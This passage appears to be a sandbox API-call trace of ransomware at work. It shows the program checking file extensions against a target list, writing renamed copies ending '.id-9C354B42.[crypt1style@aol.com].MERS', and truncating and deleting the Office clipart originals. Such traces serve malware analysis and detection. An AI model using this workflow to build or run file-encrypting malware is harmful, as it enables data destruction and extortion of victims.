DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0268.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.208] lstrlenW (lpString=".doc") returned 4 [0268.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString=".docx") returned 5 [0268.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.209] lstrlenW (lpString=".pdf") returned 4 [0268.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString=".xls") returned 4 [0268.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.209] lstrlenW (lpString=".xlsx") returned 5 [0268.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.209] lstrlenW (lpString=".ppt") returned 4 [0268.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.209] lstrlenW (lpString=".zip") returned 4 [0268.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.209] lstrlenW (lpString=".rar") returned 4 [0268.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString=".bz2") returned 4 [0268.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString=".7z") returned 3 [0268.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.209] lstrlenW (lpString=".dbf") returned 4 [0268.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.209] lstrlenW (lpString=".1cd") returned 4 [0268.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.209] lstrlenW (lpString=".jpg") returned 4 [0268.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.209] lstrlenW (lpString=".doc") returned 4 [0268.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString=".docx") returned 5 [0268.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.210] lstrlenW (lpString=".pdf") returned 4 [0268.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString=".xls") returned 4 [0268.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.210] lstrlenW (lpString=".xlsx") returned 5 [0268.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.210] lstrlenW (lpString=".ppt") returned 4 [0268.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.210] lstrlenW (lpString=".zip") returned 4 [0268.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.210] lstrlenW (lpString=".rar") returned 4 [0268.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString=".bz2") returned 4 [0268.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString=".7z") returned 3 [0268.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.210] lstrlenW (lpString=".dbf") returned 4 [0268.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.210] lstrlenW (lpString=".1cd") returned 4 [0268.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0268.210] lstrlenW (lpString=".jpg") returned 4 [0268.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.210] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.211] lstrlenW (lpString="AN00853_.WMF") returned 12 [0268.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.214] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=20578) returned 1 [0268.214] CloseHandle (hObject=0x39c) returned 1 [0268.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0268.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.215] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.215] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.215] GetLastError () returned 0x0 [0268.215] ReadFile (in: hFile=0x39c, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x5062, lpOverlapped=0x0) returned 1 [0268.340] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0268.341] ReadFile (in: hFile=0x39c, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.341] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.341] SetEndOfFile (hFile=0x3c4) returned 1 [0268.341] CloseHandle (hObject=0x3c4) returned 1 [0268.341] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.341] SetEndOfFile (hFile=0x39c) returned 1 [0268.343] CloseHandle (hObject=0x39c) returned 1 [0268.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0268.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.343] lstrlenW (lpString=".doc") returned 4 [0268.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString=".docx") returned 5 [0268.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.344] lstrlenW (lpString=".pdf") returned 4 [0268.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString=".xls") returned 4 [0268.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.344] lstrlenW (lpString=".xlsx") returned 5 [0268.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.344] lstrlenW (lpString=".ppt") returned 4 [0268.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.344] lstrlenW (lpString=".zip") returned 4 [0268.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.344] lstrlenW (lpString=".rar") returned 4 [0268.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString=".bz2") returned 4 [0268.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString=".7z") returned 3 [0268.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.344] lstrlenW (lpString=".dbf") returned 4 [0268.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.344] lstrlenW (lpString=".1cd") returned 4 [0268.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.344] lstrlenW (lpString=".jpg") returned 4 [0268.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.344] lstrlenW (lpString=".doc") returned 4 [0268.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString=".docx") returned 5 [0268.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.345] lstrlenW (lpString=".pdf") returned 4 [0268.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString=".xls") returned 4 [0268.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.345] lstrlenW (lpString=".xlsx") returned 5 [0268.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.345] lstrlenW (lpString=".ppt") returned 4 [0268.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.345] lstrlenW (lpString=".zip") returned 4 [0268.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.345] lstrlenW (lpString=".rar") returned 4 [0268.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString=".bz2") returned 4 [0268.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString=".7z") returned 3 [0268.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.345] lstrlenW (lpString=".dbf") returned 4 [0268.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.345] lstrlenW (lpString=".1cd") returned 4 [0268.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0268.345] lstrlenW (lpString=".jpg") returned 4 [0268.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.345] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.345] lstrlenW (lpString="AN01039_.WMF") returned 12 [0268.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.346] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3344) returned 1 [0268.346] CloseHandle (hObject=0x39c) returned 1 [0268.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0268.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.346] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.346] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.346] GetLastError () returned 0x0 [0268.346] ReadFile (in: hFile=0x39c, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xd10, lpOverlapped=0x0) returned 1 [0268.489] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0268.490] ReadFile (in: hFile=0x39c, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.490] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.490] SetEndOfFile (hFile=0x3c4) returned 1 [0268.490] CloseHandle (hObject=0x3c4) returned 1 [0268.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.490] SetEndOfFile (hFile=0x39c) returned 1 [0268.491] CloseHandle (hObject=0x39c) returned 1 [0268.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0268.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.501] lstrlenW (lpString=".doc") returned 4 [0268.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.501] lstrlenW (lpString=".docx") returned 5 [0268.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.501] lstrlenW (lpString=".pdf") returned 4 [0268.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.501] lstrlenW (lpString=".xls") returned 4 [0268.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.501] lstrlenW (lpString=".xlsx") returned 5 [0268.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.501] lstrlenW (lpString=".ppt") returned 4 [0268.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.501] lstrlenW (lpString=".zip") returned 4 [0268.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.501] lstrlenW (lpString=".rar") returned 4 [0268.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString=".bz2") returned 4 [0268.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString=".7z") returned 3 [0268.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.502] lstrlenW (lpString=".dbf") returned 4 [0268.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.502] lstrlenW (lpString=".1cd") returned 4 [0268.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.502] lstrlenW (lpString=".jpg") returned 4 [0268.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.502] lstrlenW (lpString=".doc") returned 4 [0268.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString=".docx") returned 5 [0268.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.502] lstrlenW (lpString=".pdf") returned 4 [0268.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString=".xls") returned 4 [0268.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.502] lstrlenW (lpString=".xlsx") returned 5 [0268.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.502] lstrlenW (lpString=".ppt") returned 4 [0268.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.502] lstrlenW (lpString=".zip") returned 4 [0268.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.502] lstrlenW (lpString=".rar") returned 4 [0268.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString=".bz2") returned 4 [0268.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.502] lstrlenW (lpString=".7z") returned 3 [0268.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.503] lstrlenW (lpString=".dbf") returned 4 [0268.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.503] lstrlenW (lpString=".1cd") returned 4 [0268.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0268.503] lstrlenW (lpString=".jpg") returned 4 [0268.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.503] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.503] lstrlenW (lpString="AN01060_.WMF") returned 12 [0268.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.526] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=7968) returned 1 [0268.526] CloseHandle (hObject=0x284) returned 1 [0268.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0268.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.528] GetLastError () returned 0x0 [0268.528] ReadFile (in: hFile=0x284, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0268.612] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0268.613] ReadFile (in: hFile=0x284, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.613] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.613] SetEndOfFile (hFile=0x3e0) returned 1 [0268.619] CloseHandle (hObject=0x3e0) returned 1 [0268.619] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.619] SetEndOfFile (hFile=0x284) returned 1 [0268.622] CloseHandle (hObject=0x284) returned 1 [0268.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0268.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0268.623] lstrlenW (lpString=".doc") returned 4 [0268.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.623] lstrlenW (lpString=".docx") returned 5 [0268.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.623] lstrlenW (lpString=".pdf") returned 4 [0268.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.623] lstrlenW 